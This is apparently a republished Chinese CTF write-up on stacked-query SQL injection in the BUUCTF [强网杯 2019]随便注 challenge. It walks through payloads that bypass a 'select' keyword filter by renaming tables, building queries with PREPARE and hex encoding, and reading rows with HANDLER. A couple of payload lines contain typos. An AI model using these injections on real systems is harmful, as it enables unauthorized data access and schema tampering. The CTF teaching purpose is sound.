您的位置:首页 > 科技 > 能源 > 建站模板外贸_深圳网站制作要多少钱_网站维护推广的方案_兰州网络推广与营销

建站模板外贸_深圳网站制作要多少钱_网站维护推广的方案_兰州网络推广与营销

2025/2/23 7:26:36 来源:https://blog.csdn.net/m0_74800552/article/details/145654186  浏览:    关键词:建站模板外贸_深圳网站制作要多少钱_网站维护推广的方案_兰州网络推广与营销
建站模板外贸_深圳网站制作要多少钱_网站维护推广的方案_兰州网络推广与营销

一、原理:

        将多个语句一起进行查询,比如

select * from users;show databases; 

产生这种注入的原理也很简单,是由于PHP mysql_multi_query()这个函数支持多个SQL语句同时执行,只需要使用;分割即可。

二、示例:

         2.1、BUUCTF[强网杯 2019]随便注:

#在这个题目中,我们可以通过**`mysql_multi_query()`**这个函数的特性进行多条语句的查询,如:
1';show databases;#                        (查库名)
1';use supersqli;#						   (使用这个库)
1';show tables;#  						   (查表名)
1';show columns from `1919810931114514`;#  (查列名)
......
#其实一般情况我们就能通过select 语句查出我们想要的信息,不过本题设置了一个wafpreg_match("/select|update|delete|drop|insert|where|\./i",$inject);#其过滤了一些关键字,其中就包括select

                一般情况下没有select我们就无从下手了,因为无论是联合注入还是报错注入我们都需要用到select,但是由于mysql_multi_query()的存在,我们可以摸索出这几种解法:

        一,修改表名和列名:

#观察到前台是有显示数据的,所以猜测这个数据很有可能是从words这个表中读取的,
因此,我们可以把表名`1919810931114514`改为word,
并将数字名的表中的列名改为与words表里同样的列名,
这样通过后端数据库的查询语句("select * from words where id='$id';")
就可以让前台顺利的读取flag#先读取列名
1';show columns from words;#修改列名flag 为 data 并添加一列 id
1'; rename table words to word1; 
rename table `1919810931114514` to words;
alter table words add id int unsigned not Null auto_increment primary key; 
alert table words change flag data varchar(100);##详解
修改表名:
rename table a to b
添加表列:
alter table test add column name varchar(10); 
修改表列:
alter table test modify address char(10) 
alter table test change oldname newname  char(40)  #另外一种方法:
#先修改flag名,然后通过  1' or 1=1#  这种查询方式把该表的所有数据遍历出来
1';alter table words rename to words1; alter table `1919810931114514` to words;alter table words change flag id varchar(50);#1' or 1=1#

        二,prepare绕过:

#mysql预处理语句:
prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] ...];
{deallocate | drop} prepare stmt_name;#payload:
1';
seT @a = CONCAT('se','lect * from `1919810931114514`;'); 
pRepare flag from @a;
EXECUTE flag;##也可以使用编码来绕过select#使用Hex对 [select * from ` 1919810931114514 `]进行编码得到:
0x73656c656374202a2066726f6d20603139313938313039333131313435313460
#然后:
1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

        三,Handler:

#使用handler语句可以一行一行的读取表中的数据,语法:
--打开一个表名为 users 的表的句柄
HANDLER users OPEN [ [AS] alias]--READ FIRST: 获取句柄的第一行
--READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
--最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER users READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]--关闭以打开的句柄
HANDLER users CLOSE#payload:
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com